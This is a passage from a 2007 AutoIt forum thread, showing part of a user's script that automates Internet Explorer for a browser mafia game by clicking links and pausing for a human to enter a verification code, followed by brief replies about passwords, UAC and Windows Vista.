_IECreate($M1, "", 0) _IELoadWait($oMail2) _IELinkClickByText($oMail2, "Automatic Script Check") _IELinkClickByText($oMail2, "Automatic Script Test") _IELinkClickByText($oMail2, "Script Check") _IELinkClickByText($oMail2, "script test") _IELinkClickByText($oMail2, "romeo") _IELinkClickByText($oMail2, "Dragoncurse") _IELinkClickByText($oMail2, "barsaat") _IELinkClickByText($oMail2, "M33") _IELinkClickByText($oMail2, "Devious") _IELinkClickByText($oMail2, "Doyouhaveenough") _IELinkClickByText($oMail2, "BennieTheBrick") _IELinkClickByText($oMail2, "DeeCee") _IELoadWait($oMail2) If WinExists("TMN2 - Bloody Vendetta - Windows Internet Explorer") = 0 Then Exit EndIf _IEQuit($oMail2) $oVerify = _IEGetObjById($oJailPage, "imgVerify") If IsObj($oVerify) Then MsgBox(0, "Verification Box Present", "Please Enter Verification Code For Script To Resume") Sleep(20000) $bLoop = 1 Else ;What is this supposed If IsObj($oVerify) Then WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE) Else $bLoop = 1 EndIf EndIf WEnd EndFunc ;==>JailConAre they real passwords, etc in your sample code? Do you have UAC turned on or off? "~~ScorpiA~~ Sabotage ~ Corruption ~ Infiltrate ~ Assassinate ~" - giggles, then frowns... Edited December 17, 2007 by Confuzzled Link to comment Share on other sites More sharing options...
Regency Posted December 17, 2007 Author Share Posted December 17, 2007 Are they real passwords, etc in your sample code? Do you have UAC turned on or off?What? Link to comment Share on other sites More sharing options...
Squirrely1 Posted December 17, 2007 Share Posted December 17, 2007 This really is just a prediction and I don't want to bring to mind any MAC commercials you may have seen on television, but I heard this from the horse's mouth, microsoft says in their own tacit way, Vista will be in beta for fifteen more months. You of course have Recovery options to recover your betaware? Das Häschen benutzt Radar Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now